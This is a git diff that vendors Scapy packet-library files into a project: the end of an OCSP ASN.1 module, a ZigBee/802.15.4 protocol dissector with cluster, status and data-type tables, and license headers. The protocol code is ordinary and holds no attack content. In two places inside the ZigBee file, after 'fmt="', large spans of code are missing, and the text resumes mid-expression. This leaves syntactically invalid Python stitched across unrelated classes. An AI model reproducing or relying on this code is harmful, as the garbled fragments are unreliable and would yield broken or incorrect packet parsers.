ASN1F_GENERALIZED_TIME("thisUpdate", ""), + ASN1F_optional( + ASN1F_GENERALIZED_TIME("nextUpdate", "", + explicit_tag=0xa0)), + ASN1F_optional( + ASN1F_SEQUENCE_OF("singleExtensions", None, + X509_Extension, + explicit_tag=0xa1))) + + +class OCSP_ByName(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE_OF("byName", [], X509_RDN) + + +class OCSP_ByKey(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_STRING("byKey", "") + + +class OCSP_ResponderID(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_CHOICE("responderID", None, + ASN1F_PACKET("byName", OCSP_ByName(), OCSP_ByName, + explicit_tag=0xa1), + ASN1F_PACKET("byKey", OCSP_ByKey(), OCSP_ByKey, + explicit_tag=0xa2)) + + +class OCSP_ResponseData(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_optional( + ASN1F_enum_INTEGER("version", 0, {0: "v1"}, + explicit_tag=0x80)), + ASN1F_PACKET("responderID", OCSP_ResponderID(), + OCSP_ResponderID), + ASN1F_GENERALIZED_TIME("producedAt", + str(GeneralizedTime())), + ASN1F_SEQUENCE_OF("responses", [], OCSP_SingleResponse), + ASN1F_optional( + ASN1F_SEQUENCE_OF("responseExtensions", None, + X509_Extension, + explicit_tag=0xa1))) + + +class ASN1F_OCSP_BasicResponseECDSA(ASN1F_SEQUENCE): + def __init__(self, **kargs): + seq = [ASN1F_PACKET("tbsResponseData", + OCSP_ResponseData(), + OCSP_ResponseData), + ASN1F_PACKET("signatureAlgorithm", + X509_AlgorithmIdentifier(), + X509_AlgorithmIdentifier), + ASN1F_BIT_STRING_ENCAPS("signature", + ECDSASignature(), + ECDSASignature), + ASN1F_optional( + ASN1F_SEQUENCE_OF("certs", None, X509_Cert, + explicit_tag=0xa0))] + ASN1F_SEQUENCE.__init__(self, *seq, **kargs) + + +class ASN1F_OCSP_BasicResponse(ASN1F_SEQUENCE): + def __init__(self, **kargs): + seq = [ASN1F_PACKET("tbsResponseData", + OCSP_ResponseData(), + OCSP_ResponseData), + ASN1F_PACKET("signatureAlgorithm", + X509_AlgorithmIdentifier(), + X509_AlgorithmIdentifier), + ASN1F_BIT_STRING("signature", + "defaultsignature" * 2), + ASN1F_optional( + ASN1F_SEQUENCE_OF("certs", None, X509_Cert, + explicit_tag=0xa0))] + ASN1F_SEQUENCE.__init__(self, *seq, **kargs) + + def m2i(self, pkt, x): + c, s = ASN1F_SEQUENCE.m2i(self, pkt, x) + sigtype = pkt.fields["signatureAlgorithm"].algorithm.oidname + if "rsa" in sigtype.lower(): + return c, s + elif "ecdsa" in sigtype.lower(): + return ASN1F_OCSP_BasicResponseECDSA().m2i(pkt, x) + else: + raise Exception("could not parse OCSP basic response") + + def dissect(self, pkt, s): + c, x = self.m2i(pkt, s) + return x + + def build(self, pkt): + if "signatureAlgorithm" in pkt.fields: + sigtype = pkt.fields['signatureAlgorithm'].algorithm.oidname + else: + sigtype = pkt.default_fields["signatureAlgorithm"].algorithm.oidname # noqa: E501 + if "rsa" in sigtype.lower(): + return ASN1F_SEQUENCE.build(self, pkt) + elif "ecdsa" in sigtype.lower(): + pkt.default_fields["signatureValue"] = ECDSASignature() + return ASN1F_OCSP_BasicResponseECDSA().build(pkt) + else: + raise Exception("could not build OCSP basic response") + + +class OCSP_ResponseBytes(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_OID("responseType", "1.3.6.1.5.5.7.48.1.1"), + ASN1F_OCSP_BasicResponse(explicit_tag=0x04)) + + +_responseStatus_mapping = ["successful", + "malformedRequest", + "internalError", + "tryLater", + "notUsed", + "sigRequired", + "unauthorized"] + + +class OCSP_Response(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_ENUMERATED("responseStatus", 0, + _responseStatus_mapping), + ASN1F_optional( + ASN1F_PACKET("responseBytes", None, + OCSP_ResponseBytes, + explicit_tag=0xa0))) diff --git a/libs/scapy/layers/zigbee.py b/libs/scapy/layers/zigbee.py new file mode 100755 index 0000000..6b708d5 --- /dev/null +++ b/libs/scapy/layers/zigbee.py @@ -0,0 +1,1007 @@ +# This program is published under a GPLv2 license +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Ryan Speers 2011-2012 +# Copyright (C) Roger Meyer : 2012-03-10 Added frames +# Copyright (C) Gabriel Potter : 2018 +# Intern at INRIA Grand Nancy Est +# This program is published under a GPLv2 license + +""" +ZigBee bindings for IEEE 802.15.4. +""" + +import struct + +from scapy.compat import orb +from scapy.packet import bind_layers, bind_bottom_up, Packet +from scapy.fields import BitField, ByteField, XLEIntField, ConditionalField, \ + ByteEnumField, EnumField, BitEnumField, FieldListField, FlagsField, \ + IntField, PacketListField, ShortField, StrField, StrFixedLenField, \ + StrLenField, XLEShortField, XStrField + +from scapy.layers.dot15d4 import dot15d4AddressField, Dot15d4Beacon, Dot15d4, \ + Dot15d4FCS +from scapy.layers.inet import UDP +from scapy.layers.ntp import TimeStampField + +# ZigBee Cluster Library Identifiers, Table 2.2 ZCL +_zcl_cluster_identifier = { + # Functional Domain: General + 0x0000: "basic", + 0x0001: "power_configuration", + 0x0002: "device_temperature_configuration", + 0x0003: "identify", + 0x0004: "groups", + 0x0005: "scenes", + 0x0006: "on_off", + 0x0007: "on_off_switch_configuration", + 0x0008: "level_control", + 0x0009: "alarms", + 0x000a: "time", + 0x000b: "rssi_location", + 0x000c: "analog_input", + 0x000d: "analog_output", + 0x000e: "analog_value", + 0x000f: "binary_input", + 0x0010: "binary_output", + 0x0011: "binary_value", + 0x0012: "multistate_input", + 0x0013: "multistate_output", + 0x0014: "multistate_value", + 0x0015: "commissioning", + # 0x0016 - 0x00ff reserved + # Functional Domain: Closures + 0x0100: "shade_configuration", + # 0x0101 - 0x01ff reserved + # Functional Domain: HVAC + 0x0200: "pump_configuration_and_control", + 0x0201: "thermostat", + 0x0202: "fan_control", + 0x0203: "dehumidification_control", + 0x0204: "thermostat_user_interface_configuration", + # 0x0205 - 0x02ff reserved + # Functional Domain: Lighting + 0x0300: "color_control", + 0x0301: "ballast_configuration", + # Functional Domain: Measurement and sensing + 0x0400: "illuminance_measurement", + 0x0401: "illuminance_level_sensing", + 0x0402: "temperature_measurement", + 0x0403: "pressure_measurement", + 0x0404: "flow_measurement", + 0x0405: "relative_humidity_measurement", + 0x0406: "occupancy_sensing", + # Functional Domain: Security and safethy + 0x0500: "ias_zone", + 0x0501: "ias_ace", + 0x0502: "ias_wd", + # Functional Domain: Protocol Interfaces + 0x0600: "generic_tunnel", + 0x0601: "bacnet_protocol_tunnel", + 0x0602: "analog_input_regular", + 0x0603: "analog_input_extended", + 0x0604: "analog_output_regular", + 0x0605: "analog_output_extended", + 0x0606: "analog_value_regular", + 0x0607: "analog_value_extended", + 0x0608: "binary_input_regular", + 0x0609: "binary_input_extended", + 0x060a: "binary_output_regular", + 0x060b: "binary_output_extended", + 0x060c: "binary_value_regular", + 0x060d: "binary_value_extended", + 0x060e: "multistate_input_regular", + 0x060f: "multistate_input_extended", + 0x0610: "multistate_output_regular", + 0x0611: "multistate_output_extended", + 0x0612: "multistate_value_regular", + 0x0613: "multistate_value", + # Smart Energy Profile Clusters + 0x0700: "price", + 0x0701: "demand_response_and_load_control", + 0x0702: "metering", + 0x0703: "messaging", + 0x0704: "smart_energy_tunneling", + 0x0705: "prepayment", + # Functional Domain: General + # Key Establishment + 0x0800: "key_establishment", +} + +# ZigBee stack profiles +_zcl_profile_identifier = { + 0x0000: "ZigBee_Stack_Profile_1", + 0x0101: "IPM_Industrial_Plant_Monitoring", + 0x0104: "HA_Home_Automation", + 0x0105: "CBA_Commercial_Building_Automation", + 0x0107: "TA_Telecom_Applications", + 0x0108: "HC_Health_Care", + 0x0109: "SE_Smart_Energy_Profile", +} + +# ZigBee Cluster Library, Table 2.8 ZCL Command Frames +_zcl_command_frames = { + 0x00: "read_attributes", + 0x01: "read_attributes_response", + 0x02: "write_attributes_response", + 0x03: "write_attributes_undivided", + 0x04: "write_attributes_response", + 0x05: "write_attributes_no_response", + 0x06: "configure_reporting", + 0x07: "configure_reporting_response", + 0x08: "read_reporting_configuration", + 0x09: "read_reporting_configuration_response", + 0x0a: "report_attributes", + 0x0b: "default_response", + 0x0c: "discover_attributes", + 0x0d: "discover_attributes_response", + # 0x0e - 0xff Reserved +} + +# ZigBee Cluster Library, Table 2.16 Enumerated Status Values +_zcl_enumerated_status_values = { + 0x00: "SUCCESS", + 0x02: "FAILURE", + # 0x02 - 0x7f Reserved + 0x80: "MALFORMED_COMMAND", + 0x81: "UNSUP_CLUSTER_COMMAND", + 0x82: "UNSUP_GENERAL_COMMAND", + 0x83: "UNSUP_MANUF_CLUSTER_COMMAND", + 0x84: "UNSUP_MANUF_GENERAL_COMMAND", + 0x85: "INVALID_FIELD", + 0x86: "UNSUPPORTED_ATTRIBUTE", + 0x87: "INVALID_VALUE", + 0x88: "READ_ONLY", + 0x89: "INSUFFICIENT_SPACE", + 0x8a: "DUPLICATE_EXISTS", + 0x8b: "NOT_FOUND", + 0x8c: "UNREPORTABLE_ATTRIBUTE", + 0x8d: "INVALID_DATA_TYPE", + # 0x8e - 0xbf Reserved + 0xc0: "HARDWARE_FAILURE", + 0xc1: "SOFTWARE_FAILURE", + 0xc2: "CALIBRATION_ERROR", + # 0xc3 - 0xff Reserved +} + +# ZigBee Cluster Library, Table 2.15 Data Types +_zcl_attribute_data_types = { + 0x00: "no_data", + # General data + 0x08: "8-bit_data", + 0x09: "16-bit_data", + 0x0a: "24-bit_data", + 0x0b: "32-bit_data", + 0x0c: "40-bit_data", + 0x0d: "48-bit_data", + 0x0e: "56-bit_data", + 0x0f: "64-bit_data", + # Logical + 0x10: "boolean", + # Bitmap + 0x18: "8-bit_bitmap", + 0x19: "16-bit_bitmap", + 0x1a: "24-bit_bitmap", + 0x1b: "32-bit_bitmap", + 0x1c: "40-bit_bitmap", + 0x1d: "48-bit_bitmap", + 0x1e: "56-bit_bitmap", + 0x1f: "64-bit_bitmap", + # Unsigned integer + 0x20: "Unsigned_8-bit_integer", + 0x21: "Unsigned_16-bit_integer", + 0x22: "Unsigned_24-bit_integer", + 0x23: "Unsigned_32-bit_integer", + 0x24: "Unsigned_40-bit_integer", + 0x25: "Unsigned_48-bit_integer", + 0x26: "Unsigned_56-bit_integer", + 0x27: "Unsigned_64-bit_integer", + # Signed integer + 0x28: "Signed_8-bit_integer", + 0x29: "Signed_16-bit_integer", + 0x2a: "Signed_24-bit_integer", + 0x2b: "Signed_32-bit_integer", + 0x2c: "Signed_40-bit_integer", + 0x2d: "Signed_48-bit_integer", + 0x2e: "Signed_56-bit_integer", + 0x2f: "Signed_64-bit_integer", + # Enumeration + 0x30: "8-bit_enumeration", + 0x31: "16-bit_enumeration", + # Floating point + 0x38: "semi_precision", + 0x39: "single_precision", + 0x3a: "double_precision", + # String + 0x41: "octet-string", + 0x42: "character_string", + 0x43: "long_octet_string", + 0x44: "long_character_string", + # Ordered sequence + 0x48: "array", + 0x4c: "structure", + # Collection + 0x50: "set", + 0x51: "bag", + # Time + 0xe0: "time_of_day", + 0xe1: "date", + 0xe2: "utc_time", + # Identifier + 0xe8: "cluster_id", + 0xe9: "attribute_id", + 0xea: "bacnet_oid", + # Miscellaneous + 0xf0: "ieee_address", + 0xf1: "128-bit_security_key", + # Unknown + 0xff: "unknown", +} + + +# ZigBee # + +class ZigbeeNWK(Packet): + name = "Zigbee Network Layer" + fields_desc = [ + BitField("discover_route", 0, 2), + BitField("proto_version", 2, 4), + BitEnumField("frametype", 0, 2, {0: 'data', 1: 'command'}), + FlagsField("flags", 0, 8, ['multicast', 'security', 'source_route', 'extended_dst', 'extended_src', 'reserved1', 'reserved2', 'reserved3']), # noqa: E501 + XLEShortField("destination", 0), + XLEShortField("source", 0), + ByteField("radius", 0), + ByteField("seqnum", 1), + + # ConditionalField(XLongField("ext_dst", 0), lambda pkt:pkt.flags & 8), + + ConditionalField(dot15d4AddressField("ext_dst", 0, adjust=lambda pkt, x: 8), lambda pkt:pkt.flags & 8), # noqa: E501 + ConditionalField(dot15d4AddressField("ext_src", 0, adjust=lambda pkt, x: 8), lambda pkt:pkt.flags & 16), # noqa: E501 + + ConditionalField(ByteField("relay_count", 1), lambda pkt:pkt.flags & 0x04), # noqa: E501 + ConditionalField(ByteField("relay_index", 0), lambda pkt:pkt.flags & 0x04), # noqa: E501 + ConditionalField(FieldListField("relays", [], XLEShortField("", 0x0000), count_from=lambda pkt:pkt.relay_count), lambda pkt:pkt.flags & 0x04), # noqa: E501 + ] + + def guess_payload_class(self, payload): + if self.flags & 0x02: + return ZigbeeSecurityHeader + elif self.frametype == 0: + return ZigbeeAppDataPayload + elif self.frametype == 1: + return ZigbeeNWKCommandPayload + else: + return Packet.guess_payload_class(self, payload) + + +class LinkStatusEntry(Packet): + name = "ZigBee Link Status Entry" + fields_desc = [ + # Neighbor network address (2 octets) + XLEShortField("neighbor_network_address", 0x0000), + # Link status (1 octet) + BitField("reserved1", 0, 1), + BitField("outgoing_cost", 0, 3), + BitField("reserved2", 0, 1), + BitField("incoming_cost", 0, 3), + ] + + +class ZigbeeNWKCommandPayload(Packet): + name = "Zigbee Network Layer Command Payload" + fields_desc = [ + ByteEnumField("cmd_identifier", 1, { + 1: "route request", + 2: "route reply", + 3: "network status", + 4: "leave", + 5: "route record", + 6: "rejoin request", + 7: "rejoin response", + 8: "link status", + 9: "network report", + 10: "network update" + # 0x0b - 0xff reserved + }), + + # - Route Request Command - # + # Command options (1 octet) + ConditionalField(BitField("reserved", 0, 1), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 + ConditionalField(BitField("multicast", 0, 1), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 + ConditionalField(BitField("dest_addr_bit", 0, 1), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 + ConditionalField( + BitEnumField("many_to_one", 0, 2, { + 0: "not_m2one", 1: "m2one_support_rrt", 2: "m2one_no_support_rrt", 3: "reserved"} # noqa: E501 + ), lambda pkt: pkt.cmd_identifier == 1), + ConditionalField(BitField("reserved", 0, 3), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 + # Route request identifier (1 octet) + ConditionalField(ByteField("route_request_identifier", 0), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 + # Destination address (2 octets) + ConditionalField(XLEShortField("destination_address", 0x0000), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 + # Path cost (1 octet) + ConditionalField(ByteField("path_cost", 0), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501 + # Destination IEEE Address (0/8 octets), only present when dest_addr_bit has a value of 1 # noqa: E501 + ConditionalField(dot15d4AddressField("ext_dst", 0, adjust=lambda pkt, x: 8), # noqa: E501 + lambda pkt: (pkt.cmd_identifier == 1 and pkt.dest_addr_bit == 1)), # noqa: E501 + + # - Route Reply Command - # + # Command options (1 octet) + ConditionalField(BitField("reserved", 0, 1), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 + ConditionalField(BitField("multicast", 0, 1), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 + ConditionalField(BitField("responder_addr_bit", 0, 1), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 + ConditionalField(BitField("originator_addr_bit", 0, 1), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 + ConditionalField(BitField("reserved", 0, 4), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 + # Route request identifier (1 octet) + ConditionalField(ByteField("route_request_identifier", 0), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 + # Originator address (2 octets) + ConditionalField(XLEShortField("originator_address", 0x0000), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 + # Responder address (2 octets) + ConditionalField(XLEShortField("responder_address", 0x0000), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 + # Path cost (1 octet) + ConditionalField(ByteField("path_cost", 0), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501 + # Originator IEEE address (0/8 octets) + ConditionalField(dot15d4AddressField("originator_addr", 0, adjust=lambda pkt, x: 8), # noqa: E501 + lambda pkt: (pkt.cmd_identifier == 2 and pkt.originator_addr_bit == 1)), # noqa: E501 + # Responder IEEE address (0/8 octets) + ConditionalField(dot15d4AddressField("responder_addr", 0, adjust=lambda pkt, x: 8), # noqa: E501 + lambda pkt: (pkt.cmd_identifier == 2 and pkt.responder_addr_bit == 1)), # noqa: E501 + + # - Network Status Command - # + # Status code (1 octet) + ConditionalField(ByteEnumField("status_code", 0, { + 0x00: "No route available", + 0x01: "Tree link failure", + 0x02: "Non-tree link failure", + 0x03: "Low battery level", + 0x04: "No routing capacity", + 0x05: "No indirect capacity", + 0x06: "Indirect transaction expiry", + 0x07: "Target device unavailable", + 0x08: "Target address unallocated", + 0x09: "Parent link failure", + 0x0a: "Validate route", + 0x0b: "Source route failure", + 0x0c: "Many-to-one route failure", + 0x0d: "Address conflict", + 0x0e: "Verify addresses", + 0x0f: "PAN identifier update", + 0x10: "Network address update", + 0x11: "Bad frame counter", + 0x12: "Bad key sequence number", + # 0x13 - 0xff Reserved + }), lambda pkt: pkt.cmd_identifier == 3), + # Destination address (2 octets) + ConditionalField(XLEShortField("destination_address", 0x0000), lambda pkt: pkt.cmd_identifier == 3), # noqa: E501 + + # - Leave Command - # + # Command options (1 octet) + # Bit 7: Remove children + ConditionalField(BitField("remove_children", 0, 1), lambda pkt: pkt.cmd_identifier == 4), # noqa: E501 + # Bit 6: Request + ConditionalField(BitField("request", 0, 1), lambda pkt: pkt.cmd_identifier == 4), # noqa: E501 + # Bit 5: Rejoin + ConditionalField(BitField("rejoin", 0, 1), lambda pkt: pkt.cmd_identifier == 4), # noqa: E501 + # Bit 0 - 4: Reserved + ConditionalField(BitField("reserved", 0, 5), lambda pkt: pkt.cmd_identifier == 4), # noqa: E501 + + # - Route Record Command - # + # Relay count (1 octet) + ConditionalField(ByteField("rr_relay_count", 0), lambda pkt: pkt.cmd_identifier == 5), # noqa: E501 + # Relay list (variable in length) + ConditionalField( + FieldListField("rr_relay_list", [], XLEShortField("", 0x0000), count_from=lambda pkt:pkt.rr_relay_count), # noqa: E501 + lambda pkt:pkt.cmd_identifier == 5), + + # - Rejoin Request Command - # + # Capability Information (1 octet) + ConditionalField(BitField("allocate_address", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Allocate Address # noqa: E501 + ConditionalField(BitField("security_capability", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Security Capability # noqa: E501 + ConditionalField(BitField("reserved2", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # bit 5 is reserved # noqa: E501 + ConditionalField(BitField("reserved1", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # bit 4 is reserved # noqa: E501 + ConditionalField(BitField("receiver_on_when_idle", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Receiver On When Idle # noqa: E501 + ConditionalField(BitField("power_source", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Power Source # noqa: E501 + ConditionalField(BitField("device_type", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Device Type # noqa: E501 + ConditionalField(BitField("alternate_pan_coordinator", 0, 1), lambda pkt:pkt.cmd_identifier == 6), # Alternate PAN Coordinator # noqa: E501 + + # - Rejoin Response Command - # + # Network address (2 octets) + ConditionalField(XLEShortField("network_address", 0xFFFF), lambda pkt:pkt.cmd_identifier == 7), # noqa: E501 + # Rejoin status (1 octet) + ConditionalField(ByteField("rejoin_status", 0), lambda pkt:pkt.cmd_identifier == 7), # noqa: E501 + + # - Link Status Command - # + # Command options (1 octet) + ConditionalField(BitField("reserved", 0, 1), lambda pkt:pkt.cmd_identifier == 8), # Reserved # noqa: E501 + ConditionalField(BitField("last_frame", 0, 1), lambda pkt:pkt.cmd_identifier == 8), # Last frame # noqa: E501 + ConditionalField(BitField("first_frame", 0, 1), lambda pkt:pkt.cmd_identifier == 8), # First frame # noqa: E501 + ConditionalField(BitField("entry_count", 0, 5), lambda pkt:pkt.cmd_identifier == 8), # Entry count # noqa: E501 + # Link status list (variable size) + ConditionalField( + PacketListField("link_status_list", [], LinkStatusEntry, count_from=lambda pkt:pkt.entry_count), # noqa: E501 + lambda pkt:pkt.cmd_identifier == 8), + + # - Network Report Command - # + # Command options (1 octet) + ConditionalField( + BitEnumField("report_command_identifier", 0, 3, {0: "PAN identifier conflict"}), # 0x01 - 0x07 Reserved # noqa: E501 + lambda pkt: pkt.cmd_identifier == 9), + ConditionalField(BitField("report_information_count", 0, 5), lambda pkt: pkt.cmd_identifier == 9), # noqa: E501 + # EPID: Extended PAN ID (8 octets) + ConditionalField(dot15d4AddressField("epid", 0, adjust=lambda pkt, x: 8), lambda pkt: pkt.cmd_identifier == 9), # noqa: E501 + # Report information (variable length) + # Only present if we have a PAN Identifier Conflict Report + ConditionalField( + FieldListField("PAN_ID_conflict_report", [], XLEShortField("", 0x0000), # noqa: E501 + count_from=lambda pkt:pkt.report_information_count), + lambda pkt:(pkt.cmd_identifier == 9 and pkt.report_command_identifier == 0) # noqa: E501 + ), + + # - Network Update Command - # + # Command options (1 octet) + ConditionalField( + BitEnumField("update_command_identifier", 0, 3, {0: "PAN Identifier Update"}), # 0x01 - 0x07 Reserved # noqa: E501 + lambda pkt: pkt.cmd_identifier == 10), + ConditionalField(BitField("update_information_count", 0, 5), lambda pkt: pkt.cmd_identifier == 10), # noqa: E501 + # EPID: Extended PAN ID (8 octets) + ConditionalField(dot15d4AddressField("epid", 0, adjust=lambda pkt, x: 8), lambda pkt: pkt.cmd_identifier == 10), # noqa: E501 + # Update Id (1 octet) + ConditionalField(ByteField("update_id", 0), lambda pkt: pkt.cmd_identifier == 10), # noqa: E501 + # Update Information (Variable) + # Only present if we have a PAN Identifier Update + # New PAN ID (2 octets) + ConditionalField(XLEShortField("new_PAN_ID", 0x0000), + lambda pkt: (pkt.cmd_identifier == 10 and pkt.update_command_identifier == 0)), # noqa: E501 + + # StrField("data", ""), + ] + + +def util_mic_len(pkt): + ''' Calculate the length of the attribute value field ''' + if (pkt.nwk_seclevel == 0): # no encryption, no mic + return 0 + elif (pkt.nwk_seclevel == 1): # MIC-32 + return 4 + elif (pkt.nwk_seclevel == 2): # MIC-64 + return 8 + elif (pkt.nwk_seclevel == 3): # MIC-128 + return 16 + elif (pkt.nwk_seclevel == 4): # ENC + return 0 + elif (pkt.nwk_seclevel == 5): # ENC-MIC-32 + return 4 + elif (pkt.nwk_seclevel == 6): # ENC-MIC-64 + return 8 + elif (pkt.nwk_seclevel == 7): # ENC-MIC-128 + return 16 + else: + return 0 + + +class ZigbeeSecurityHeader(Packet): + name = "Zigbee Security Header" + fields_desc = [ + # Security control (1 octet) + FlagsField("reserved1", 0, 2, ['reserved1', 'reserved2']), + BitField("extended_nonce", 1, 1), # set to 1 if the sender address field is present (source) # noqa: E501 + # Key identifier + BitEnumField("key_type", 1, 2, { + 0: 'data_key', + 1: 'network_key', + 2: 'key_transport_key', + 3: 'key_load_key' + }), + # Security level (3 bits) + BitEnumField("nwk_seclevel", 0, 3, { + 0: "None", + 1: "MIC-32", + 2: "MIC-64", + 3: "MIC-128", + 4: "ENC", + 5: "ENC-MIC-32", + 6: "ENC-MIC-64", + 7: "ENC-MIC-128" + }), + # Frame counter (4 octets) + XLEIntField("fc", 0), # provide frame freshness and prevent duplicate frames # noqa: E501 + # Source address (0/8 octets) + ConditionalField(dot15d4AddressField("source", 0, adjust=lambda pkt, x: 8), lambda pkt: pkt.extended_nonce), # noqa: E501 + # Key sequence number (0/1 octet): only present when key identifier is 1 (network key) # noqa: E501 + ConditionalField(ByteField("key_seqnum", 0), lambda pkt: pkt.getfieldval("key_type") == 1), # noqa: E501 + # Payload + # the length of the encrypted data is the payload length minus the MIC + StrField("data", ""), # noqa: E501 + # Message Integrity Code (0/variable in size), length depends on nwk_seclevel # noqa: E501 + XStrField("mic", ""), + ] + + def post_dissect(self, s): + # Get the mic dissected correctly + mic_length = util_mic_len(self) + if mic_length > 0: # Slice "data" into "data + mic" + _data, _mic = self.data[:-mic_length], self.data[-mic_length:] + self.data, self.mic = _data, _mic + return s + + +class ZigbeeAppDataPayload(Packet): + name = "Zigbee Application Layer Data Payload (General APS Frame Format)" + fields_desc = [ + # Frame control (1 octet) + FlagsField("frame_control", 2, 4, + ['reserved1', 'security', 'ack_req', 'extended_hdr']), + BitEnumField("delivery_mode", 0, 2, + {0: 'unicast', 1: 'indirect', + 2: 'broadcast', 3: 'group_addressing'}), + BitEnumField("aps_frametype", 0, 2, + {0: 'data', 1: 'command', 2: 'ack'}), + # Destination endpoint (0/1 octet) + ConditionalField( + ByteField("dst_endpoint", 10), + lambda pkt: (pkt.frame_control.ack_req or pkt.aps_frametype == 2) + ), + # Group address (0/2 octets) TODO + # Cluster identifier (0/2 octets) + ConditionalField( + # unsigned short (little-endian) + EnumField("cluster", 0, _zcl_cluster_identifier, fmt=" 9)) + ] + + +class ZigBeeBeacon(Packet): + name = "ZigBee Beacon Payload" + fields_desc = [ + # Protocol ID (1 octet) + ByteField("proto_id", 0), + # nwkcProtocolVersion (4 bits) + BitField("nwkc_protocol_version", 0, 4), + # Stack profile (4 bits) + BitField("stack_profile", 0, 4), + # End device capacity (1 bit) + BitField("end_device_capacity", 0, 1), + # Device depth (4 bits) + BitField("device_depth", 0, 4), + # Router capacity (1 bit) + BitField("router_capacity", 0, 1), + # Reserved (2 bits) + BitField("reserved", 0, 2), + # Extended PAN ID (8 octets) + dot15d4AddressField("extended_pan_id", 0, adjust=lambda pkt, x: 8), + # Tx offset (3 bytes) + # In ZigBee 2006 the Tx-Offset is optional, while in the 2007 and later versions, the Tx-Offset is a required value. # noqa: E501 + BitField("tx_offset", 0, 24), + # Update ID (1 octet) + ByteField("update_id", 0), + ] + + +# Inter-PAN Transmission # +class ZigbeeNWKStub(Packet): + name = "Zigbee Network Layer for Inter-PAN Transmission" + fields_desc = [ + # NWK frame control + BitField("reserved", 0, 2), # remaining subfields shall have a value of 0 # noqa: E501 + BitField("proto_version", 2, 4), + BitField("frametype", 0b11, 2), # 0b11 (3) is a reserved frame type + BitField("reserved", 0, 8), # remaining subfields shall have a value of 0 # noqa: E501 + ] + + def guess_payload_class(self, payload): + if self.frametype == 0b11: + return ZigbeeAppDataPayloadStub + else: + return Packet.guess_payload_class(self, payload) + + +class ZigbeeAppDataPayloadStub(Packet): + name = "Zigbee Application Layer Data Payload for Inter-PAN Transmission" + fields_desc = [ + FlagsField("frame_control", 0, 4, ['reserved1', 'security', 'ack_req', 'extended_hdr']), # noqa: E501 + BitEnumField("delivery_mode", 0, 2, {0: 'unicast', 2: 'broadcast', 3: 'group'}), # noqa: E501 + BitField("frametype", 3, 2), # value 0b11 (3) is a reserved frame type + # Group Address present only when delivery mode field has a value of 0b11 (group delivery mode) # noqa: E501 + ConditionalField( + XLEShortField("group_addr", 0x0), # 16-bit identifier of the group + lambda pkt: pkt.getfieldval("delivery_mode") == 0b11 + ), + # Cluster identifier + EnumField("cluster", 0, _zcl_cluster_identifier, fmt="= 4: + v = orb(_pkt[2]) + if v == 1: + return ZEP1 + elif v == 2: + return ZEP2 + return cls + + def guess_payload_class(self, payload): + if self.lqi_mode: + return Dot15d4 + else: + return Dot15d4FCS + + +class ZEP1(ZEP2): + name = "Zigbee Encapsulation Protocol (V1)" + fields_desc = [ + StrFixedLenField("preamble", "EX", length=2), + ByteField("ver", 0), + ByteField("channel", 0), + ShortField("device", 0), + ByteField("lqi_mode", 0), + ByteField("lqi_val", 0), + BitField("res", 0, 56), # 7 bytes reserved field + ByteField("len", 0), + ] + + +# Bindings # + +# TODO: find a way to chose between ZigbeeNWK and SixLoWPAN (cf. sixlowpan.py) +# Currently: use conf.dot15d4_protocol value +# bind_layers( Dot15d4Data, ZigbeeNWK) + +bind_layers(ZigbeeAppDataPayload, ZigbeeAppCommandPayload, frametype=1) +bind_layers(Dot15d4Beacon, ZigBeeBeacon) + +bind_bottom_up(UDP, ZEP2, sport=17754) +bind_bottom_up(UDP, ZEP2, sport=17754) +bind_layers(UDP, ZEP2, sport=17754, dport=17754) diff --git a/libs/scapy/libs/__init__.py b/libs/scapy/libs/__init__.py new file mode 100755 index 0000000..c7d46e2 --- /dev/null +++ b/libs/scapy/libs/__init__.py @@ -0,0 +1,7 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# This program is published under a GPLv2 license + +""" +Library bindings +""" diff --git a/libs/scapy/libs/ethertypes.py b/libs/scapy/libs/ethertypes.py new file mode 100755 index 0000000..e811236 --- /dev/null +++ b/libs/scapy/libs/ethertypes.py @@ -0,0 +1,138 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information + +""" +/* + * Copyright (c) 1982, 1986, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED 